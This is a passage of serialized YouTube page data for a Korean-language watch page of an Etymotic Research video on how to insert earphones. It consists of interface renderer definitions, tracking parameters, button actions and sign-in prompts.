ideoPrimaryInfoRenderer","itemSectionRenderer","continuationItemRenderer","secondaryResults","lockupViewModel","thumbnailViewModel","thumbnailOverlayBadgeViewModel","thumbnailBadgeViewModel","thumbnailHoverOverlayToggleActionsViewModel","lockupMetadataViewModel","decoratedAvatarViewModel","avatarViewModel","contentMetadataViewModel","sheetViewModel","listViewModel","listItemViewModel","badgeViewModel","autoplay","playerOverlayRenderer","menuNavigationItemRenderer","watchNextEndScreenRenderer","endScreenVideoRenderer","thumbnailOverlayTimeStatusRenderer","thumbnailOverlayNowPlayingRenderer","playerOverlayAutoplayRenderer","playerOverlayVideoDetailsRenderer","autoplaySwitchButtonRenderer","quickActionsViewModel","decoratedPlayerBarRenderer","multiMarkersPlayerBarRenderer","speedmasterEduViewModel","engagementPanelSectionListRenderer","engagementPanelTitleHeaderRenderer","sortFilterSubMenuRenderer","sectionListRenderer","adsEngagementPanelContentRenderer","chipBarViewModel","chipViewModel","macroMarkersListRenderer","macroMarkersListItemRenderer","structuredDescriptionContentRenderer","videoDescriptionHeaderRenderer","factoidRenderer","viewCountFactoidRenderer","expandableVideoDescriptionBodyRenderer","horizontalCardListRenderer","richListHeaderRenderer","videoDescriptionTranscriptSectionRenderer","videoDescriptionInfocardsSectionRenderer","desktopTopbarRenderer","topbarLogoRenderer","fusionSearchboxRenderer","topbarMenuButtonRenderer","multiPageMenuRenderer","hotkeyDialogRenderer","hotkeyDialogSectionRenderer","hotkeyDialogSectionOptionRenderer","voiceSearchDialogRenderer","cinematicContainerRenderer"]},"ytConfigData":{"visitorData":"CgtoVW45V2dFUEFlayi4jZjLBjIKCgJLUhIEGgAgFGLfAgrcAjE1LllUPVA4cTl2S1RsVVBNMkxxaExOUlktajZWZDdnbGR5WGFfS0dsNnp5RVpOOEROSUV5TFVOWmg1Z0ZTLURfSTJVLTZIdkpTeUM3SVlrZmg5MkJYcnI5aFZZZHlLZlJJQnN2YnVZazdvMUw5RnZWZnkzcFFRbzFTOVlObUNFZnBaVTB0b0g0Wml5bTVZdm5iX0RkVDZ4bzRkN0xGMi1vc0t5SHZmNWZsUnFlTUF3RWdUN1FnNXNrdE1qaW9lbFpaZzdhMjQ5Tk5XekRnY2FjbEVWUFB0ZjlqYzl3cUZvSk01aXBGbnAzdGh2akxPeW9QeU5ndk0wWU9wUFdWQnduczQ1MERLUVBFOE1xYi1ZR25jY3p0UU1adkhjYXNROFpJU2tVcTBNSWlhWkZiTHRRcWhMMU5ueFUtZnJiRGdFeVFVVnZFMGFfUjdKVHhTQmViUW5zc2VXRWZ0QQ%3D%3D","rootVisualElementType":3832},"webPrefetchData":{"navigationEndpoints":[{"clickTrackingParams":"CAAQg2ciEwjjl67gkIiSAxUTXg8CHR79FCUyDHJlbGF0ZWQtYXV0b0iutei9quKF1vABmgEFCAMQ-B3KAQTxAvcU","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=MaSuCsdWYAA\u0026pp=QAFIAQ%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"MaSuCsdWYAA","params":"EAEYAdoBBAgBKgA%3D","playerParams":"QAFIAQ%3D%3D","watchEndpointSupportedPrefetchConfig":{"prefetchHintConfig":{"prefetchPriority":0,"countdownUiRelativeSecondsPrefetchCondition":-3}}}},{"clickTrackingParams":"CAAQg2ciEwjjl67gkIiSAxUTXg8CHR79FCUyDHJlbGF0ZWQtYXV0b0iutei9quKF1vABmgEFCAMQ-B3KAQTxAvcU","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=MaSuCsdWYAA\u0026pp=QAFIAQ%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"MaSuCsdWYAA","params":"EAEYAdoBBAgBKgA%3D","playerParams":"QAFIAQ%3D%3D","watchEndpointSupportedPrefetchConfig":{"prefetchHintConfig":{"prefetchPriority":0,"countdownUiRelativeSecondsPrefetchCondition":-3}}}},{"clickTrackingParams":"CAAQg2ciEwjjl67gkIiSAxUTXg8CHR79FCUyDHJlbGF0ZWQtYXV0b0iutei9quKF1vABmgEFCAMQ-B3KAQTxAvcU","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=MaSuCsdWYAA\u0026pp=QAFIAQ%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"MaSuCsdWYAA","params":"EAEYAdoBBAgBKgA%3D","playerParams":"QAFIAQ%3D%3D","watchEndpointSupportedPrefetchConfig":{"prefetchHintConfig":{"prefetchPriority":0,"countdownUiRelativeSecondsPrefetchCondition":-3}}}}]},"hasDecorated":true}},"contents":{"twoColumnWatchNextResults":{"results":{"results":{"contents":[{"videoPrimaryInfoRenderer":{"title":{"runs":[{"text":"Etymotic Research - Earphone Insertion Video Guide"}]},"viewCount":{"videoViewCountRenderer":{"viewCount":{"simpleText":"조회수 241,380회"},"shortViewCount":{"simpleText":"조회수 24만회"},"originalViewCount":"0"}},"videoActions":{"menuRenderer":{"items":[{"menuServiceItemRenderer":{"text":{"runs":[{"text":"신고"}]},"icon":{"iconType":"FLAG"},"serviceEndpoint":{"clickTrackingParams":"CK0CEMyrARgAIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","showEngagementPanelEndpoint":{"identifier":{"tag":"PAabuse_report"},"globalConfiguration":{"params":"qgdxCAESCzhLd1hFcWU2R3E0GmBFZ3M0UzNkWVJYRmxOa2R4TkVBQldBQjRCWklCTWdvd0VpNW9kSFJ3Y3pvdkwya3VlWFJwYldjdVkyOXRMM1pwTHpoTGQxaEZjV1UyUjNFMEwyUmxabUYxYkhRdWFuQm4%3D"},"engagementPanelPresentationConfigs":{"engagementPanelPopupPresentationConfig":{"popupType":"PANEL_POPUP_TYPE_DIALOG"}}}},"trackingParams":"CK0CEMyrARgAIhMI45eu4JCIkgMVE14PAh0e_RQl"}}],"trackingParams":"CK0CEMyrARgAIhMI45eu4JCIkgMVE14PAh0e_RQl","topLevelButtons":[{"segmentedLikeDislikeButtonViewModel":{"likeButtonViewModel":{"likeButtonViewModel":{"toggleButtonViewModel":{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"LIKE","title":"925","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CLgCEKVBIhMI45eu4JCIkgMVE14PAh0e_RQl"}},{"innertubeCommand":{"clickTrackingParams":"CLgCEKVBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"simpleText":"동영상이 마음에 드시나요?"},"content":{"simpleText":"로그인하여 의견을 알려주세요."},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CLkCEPqGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko\u0026hl=ko\u0026ec=66426","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CLkCEPqGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/like"}},"likeEndpoint":{"status":"LIKE","target":{"videoId":"8KwXEqe6Gq4"},"likeParams":"Cg0KCzhLd1hFcWU2R3E0IAAyCwi5jZjLBhCh44A8"}},"idamTag":"66426"}},"trackingParams":"CLkCEPqGBCITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}}}}}}}]}},"accessibilityText":"다른 사용자 925명과 함께 이 동영상에 좋아요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CLgCEKVBIhMI45eu4JCIkgMVE14PAh0e_RQl","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.like.button","tooltip":"이 동영상이 마음에 듭니다."}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"LIKE","title":"926","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CLcCEKVBIhMI45eu4JCIkgMVE14PAh0e_RQl"}},{"innertubeCommand":{"clickTrackingParams":"CLcCEKVBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/removelike"}},"likeEndpoint":{"status":"INDIFFERENT","target":{"videoId":"8KwXEqe6Gq4"},"removeLikeParams":"Cg0KCzhLd1hFcWU2R3E0GAAqCwi5jZjLBhCN6oE8"}}}]}},"accessibilityText":"다른 사용자 925명과 함께 이 동영상에 좋아요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CLcCEKVBIhMI45eu4JCIkgMVE14PAh0e_RQl","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.like.button","tooltip":"좋아요 취소"}},"identifier":"watch-like","trackingParams":"CK0CEMyrARgAIhMI45eu4JCIkgMVE14PAh0e_RQl","isTogglingDisabled":true}},"likeStatusEntityKey":"Egs4S3dYRXFlNkdxNCA-KAE%3D","likeStatusEntity":{"key":"Egs4S3dYRXFlNkdxNCA-KAE%3D","likeStatus":"INDIFFERENT"}}},"dislikeButtonViewModel":{"dislikeButtonViewModel":{"toggleButtonViewModel":{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"DISLIKE","title":"싫어요","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CLUCEKiPCSITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}},{"innertubeCommand":{"clickTrackingParams":"CLUCEKiPCSITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"simpleText":"동영상이 마음에 안 드시나요?"},"content":{"simpleText":"로그인하여 의견을 알려주세요."},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CLYCEPmGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko\u0026hl=ko\u0026ec=66425","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CLYCEPmGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/dislike"}},"likeEndpoint":{"status":"DISLIKE","target":{"videoId":"8KwXEqe6Gq4"},"dislikeParams":"Cg0KCzhLd1hFcWU2R3E0EAAiCwi5jZjLBhDt3YM8"}},"idamTag":"66425"}},"trackingParams":"CLYCEPmGBCITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}}}}}}}]}},"accessibilityText":"동영상에 싫어요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CLUCEKiPCSITCOOXruCQiJIDFRNeDwIdHv0UJQ==","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.dislike.button","tooltip":"이 동영상이 마음에 들지 않습니다."}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"DISLIKE","title":"싫어요","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CLQCEKiPCSITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}},{"innertubeCommand":{"clickTrackingParams":"CLQCEKiPCSITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/removelike"}},"likeEndpoint":{"status":"INDIFFERENT","target":{"videoId":"8KwXEqe6Gq4"},"removeLikeParams":"Cg0KCzhLd1hFcWU2R3E0GAAqCwi5jZjLBhD1hIQ8"}}}]}},"accessibilityText":"동영상에 싫어요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CLQCEKiPCSITCOOXruCQiJIDFRNeDwIdHv0UJQ==","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.dislike.button","tooltip":"이 동영상이 마음에 들지 않습니다."}},"trackingParams":"CK0CEMyrARgAIhMI45eu4JCIkgMVE14PAh0e_RQl","isTogglingDisabled":true}},"dislikeEntityKey":"Egs4S3dYRXFlNkdxNCA-KAE%3D"}},"iconType":"LIKE_ICON_TYPE_UNKNOWN","likeCountEntity":{"key":"unset_like_count_entity_key"},"dynamicLikeCountUpdateData":{"updateStatusKey":"like_count_update_status_key","placeholderLikeCountValuesKey":"like_count_placeholder_values_key","updateDelayLoopId":"like_count_update_delay_loop_id","updateDelaySec":5},"teasersOrderEntityKey":"Egs4S3dYRXFlNkdxNCD8AygB"}},{"buttonViewModel":{"iconName":"SHARE","title":"공유","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CLICEOWWARgCIhMI45eu4JCIkgMVE14PAh0e_RQl"}},{"innertubeCommand":{"clickTrackingParams":"CLICEOWWARgCIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/share/get_share_panel"}},"shareEntityServiceEndpoint":{"serializedShareEntity":"Cgs4S3dYRXFlNkdxNKABAQ%3D%3D","commands":[{"clickTrackingParams":"CLICEOWWARgCIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","openPopupAction":{"popup":{"unifiedSharePanelRenderer":{"trackingParams":"CLMCEI5iIhMI45eu4JCIkgMVE14PAh0e_RQl","showLoadingSpinner":true}},"popupType":"DIALOG","beReused":true}}]}}}]}},"accessibilityText":"공유","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CLICEOWWARgCIhMI45eu4JCIkgMVE14PAh0e_RQl","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE","accessibilityId":"id.video.share.button","tooltip":"공유"}}],"accessibility":{"accessibilityData":{"label":"추가 작업"}},"flexibleItems":[{"menuFlexibleItemRenderer":{"menuItem":{"menuServiceItemRenderer":{"text":{"runs":[{"text":"저장"}]},"icon":{"iconType":"PLAYLIST_ADD"},"serviceEndpoint":{"clickTrackingParams":"CLACEOuQCSITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"runs":[{"text":"나중에 다시 보고 싶으신가요?"}]},"content":{"runs":[{"text":"로그인하여 동영상을 재생목록에 추가하세요."}]},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CLECEPuGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko%26next%3D%252Fwatch%253Fv%253D8KwXEqe6Gq4\u0026hl=ko\u0026ec=66427","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CLECEPuGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=8KwXEqe6Gq4","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"8KwXEqe6Gq4","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr2---sn-ab02a0nfpgxapox-bh2s6.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=f0ac1712a7ba1aae\u0026ip=1.208.108.242\u0026initcwndbps=3691250\u0026mt=1768293662\u0026oweuc="}}}}},"idamTag":"66427"}},"trackingParams":"CLECEPuGBCITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}}}}}},"trackingParams":"CLACEOuQCSITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}},"topLevelButton":{"buttonViewModel":{"iconName":"PLAYLIST_ADD","title":"저장","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CK4CEOuQCSITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}},{"innertubeCommand":{"clickTrackingParams":"CK4CEOuQCSITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"runs":[{"text":"나중에 다시 보고 싶으신가요?"}]},"content":{"runs":[{"text":"로그인하여 동영상을 재생목록에 추가하세요."}]},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CK8CEPuGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko%26next%3D%252Fwatch%253Fv%253D8KwXEqe6Gq4\u0026hl=ko\u0026ec=66427","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CK8CEPuGBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=8KwXEqe6Gq4","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"8KwXEqe6Gq4","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr2---sn-ab02a0nfpgxapox-bh2s6.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=f0ac1712a7ba1aae\u0026ip=1.208.108.242\u0026initcwndbps=3691250\u0026mt=1768293662\u0026oweuc="}}}}},"idamTag":"66427"}},"trackingParams":"CK8CEPuGBCITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}}}}}}}]}},"accessibilityText":"재생목록에 저장","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CK4CEOuQCSITCOOXruCQiJIDFRNeDwIdHv0UJQ==","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","tooltip":"저장"}}}}]}},"trackingParams":"CK0CEMyrARgAIhMI45eu4JCIkgMVE14PAh0e_RQl","dateText":{"simpleText":"2010. 10. 30."},"relativeDateText":{"accessibility":{"accessibilityData":{"label":"15년 전"}},"simpleText":"15년 전"}}},{"videoSecondaryInfoRenderer":{"owner":{"videoOwnerRenderer":{"thumbnail":{"thumbnails":[{"url":"https://yt3.ggpht.com/ytc/AIdro_k60amvoftaFiXH33H2eWHHOGgch8I_Pg0NpO0mrFk=s48-c-k-c0x00ffffff-no-rj","width":48,"height":48},{"url":"https://yt3.ggpht.com/ytc/AIdro_k60amvoftaFiXH33H2eWHHOGgch8I_Pg0NpO0mrFk=s88-c-k-c0x00ffffff-no-rj","width":88,"height":88},{"url":"https://yt3.ggpht.com/ytc/AIdro_k60amvoftaFiXH33H2eWHHOGgch8I_Pg0NpO0mrFk=s176-c-k-c0x00ffffff-no-rj","width":176,"height":176}]},"title":{"runs":[{"text":"etyhead","navigationEndpoint":{"clickTrackingParams":"CKwCEOE5IhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/@etyhead","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCjRYyQgPwotCoql3alFd7BA","canonicalBaseUrl":"/@etyhead"}}}]},"subscriptionButton":{"type":"FREE"},"navigationEndpoint":{"clickTrackingParams":"CKwCEOE5IhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/@etyhead","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCjRYyQgPwotCoql3alFd7BA","canonicalBaseUrl":"/@etyhead"}},"subscriberCountText":{"accessibility":{"accessibilityData":{"label":"구독자 785명"}},"simpleText":"구독자 785명"},"trackingParams":"CKwCEOE5IhMI45eu4JCIkgMVE14PAh0e_RQl"}},"subscribeButton":{"subscribeButtonRenderer":{"buttonText":{"runs":[{"text":"구독"}]},"subscribed":false,"enabled":true,"type":"FREE","channelId":"UCjRYyQgPwotCoql3alFd7BA","showPreferences":false,"subscribedButtonText":{"runs":[{"text":"구독중"}]},"unsubscribedButtonText":{"runs":[{"text":"구독"}]},"trackingParams":"CJ4CEJsrIhMI45eu4JCIkgMVE14PAh0e_RQlKPgdMgV3YXRjaA==","unsubscribeButtonText":{"runs":[{"text":"구독 취소"}]},"subscribeAccessibility":{"accessibilityData":{"label":"etyhead을(를) 구독합니다."}},"unsubscribeAccessibility":{"accessibilityData":{"label":"etyhead을(를) 구독 취소합니다."}},"notificationPreferenceButton":{"subscriptionNotificationToggleButtonRenderer":{"states":[{"stateId":3,"nextStateId":3,"state":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"icon":{"iconType":"NOTIFICATIONS_NONE"},"accessibility":{"label":"현재 설정은 맞춤설정 알림 수신입니다. etyhead 채널의 알림 설정을 변경하려면 탭하세요."},"trackingParams":"CKsCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","accessibilityData":{"accessibilityData":{"label":"현재 설정은 맞춤설정 알림 수신입니다. etyhead 채널의 알림 설정을 변경하려면 탭하세요."}}}}},{"stateId":0,"nextStateId":0,"state":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"icon":{"iconType":"NOTIFICATIONS_OFF"},"accessibility":{"label":"현재 설정은 알림 수신 안함입니다. etyhead 채널의 알림 설정을 변경하려면 탭하세요."},"trackingParams":"CKoCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","accessibilityData":{"accessibilityData":{"label":"현재 설정은 알림 수신 안함입니다. etyhead 채널의 알림 설정을 변경하려면 탭하세요."}}}}}],"currentStateId":3,"trackingParams":"CKMCEJf5ASITCOOXruCQiJIDFRNeDwIdHv0UJQ==","command":{"clickTrackingParams":"CKMCEJf5ASITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandExecutorCommand":{"commands":[{"clickTrackingParams":"CKMCEJf5ASITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","openPopupAction":{"popup":{"menuPopupRenderer":{"items":[{"menuServiceItemRenderer":{"text":{"simpleText":"맞춤설정"},"icon":{"iconType":"NOTIFICATIONS_NONE"},"serviceEndpoint":{"clickTrackingParams":"CKkCEOy1BBgDIhMI45eu4JCIkgMVE14PAh0e_RQlMhJQUkVGRVJFTkNFX0RFRkFVTFTKAQTxAvcU","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/notification/modify_channel_preference"}},"modifyChannelNotificationPreferenceEndpoint":{"params":"ChhVQ2pSWXlRZ1B3b3RDb3FsM2FsRmQ3QkESAggBGAAgBFITCgIIAxILOEt3WEVxZTZHcTQYAA%3D%3D"}},"trackingParams":"CKkCEOy1BBgDIhMI45eu4JCIkgMVE14PAh0e_RQl","isSelected":true}},{"menuServiceItemRenderer":{"text":{"simpleText":"없음"},"icon":{"iconType":"NOTIFICATIONS_OFF"},"serviceEndpoint":{"clickTrackingParams":"CKgCEO21BBgEIhMI45eu4JCIkgMVE14PAh0e_RQlMhtQUkVGRVJFTkNFX05PX05PVElGSUNBVElPTlPKAQTxAvcU","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/notification/modify_channel_preference"}},"modifyChannelNotificationPreferenceEndpoint":{"params":"ChhVQ2pSWXlRZ1B3b3RDb3FsM2FsRmQ3QkESAggDGAAgBFITCgIIAxILOEt3WEVxZTZHcTQYAA%3D%3D"}},"trackingParams":"CKgCEO21BBgEIhMI45eu4JCIkgMVE14PAh0e_RQl","isSelected":false}},{"menuServiceItemRenderer":{"text":{"runs":[{"text":"구독 취소"}]},"icon":{"iconType":"PERSON_MINUS"},"serviceEndpoint":{"clickTrackingParams":"CKQCENuLChgFIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CKQCENuLChgFIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","openPopupAction":{"popup":{"confirmDialogRenderer":{"trackingParams":"CKUCEMY4IhMI45eu4JCIkgMVE14PAh0e_RQl","dialogMessages":[{"runs":[{"text":"etyhead"},{"text":" 구독을 취소하시겠습니까?"}]}],"confirmButton":{"buttonRenderer":{"style":"STYLE_BLUE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"구독 취소"}]},"serviceEndpoint":{"clickTrackingParams":"CKcCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlMgV3YXRjaMoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/subscription/unsubscribe"}},"unsubscribeEndpoint":{"channelIds":["UCjRYyQgPwotCoql3alFd7BA"],"params":"CgIIAxILOEt3WEVxZTZHcTQYAA%3D%3D"}},"accessibility":{"label":"구독 취소"},"trackingParams":"CKcCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl"}},"cancelButton":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"취소"}]},"accessibility":{"label":"취소"},"trackingParams":"CKYCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl"}},"primaryIsCancel":false}},"popupType":"DIALOG"}}]}},"trackingParams":"CKQCENuLChgFIhMI45eu4JCIkgMVE14PAh0e_RQl"}}]}},"popupType":"DROPDOWN"}}]}},"targetId":"notification-bell","secondaryIcon":{"iconType":"EXPAND_MORE"}}},"targetId":"watch-subscribe","signInEndpoint":{"clickTrackingParams":"CJ4CEJsrIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"simpleText":"채널을 구독하시겠습니까?"},"content":{"simpleText":"채널을 구독하려면 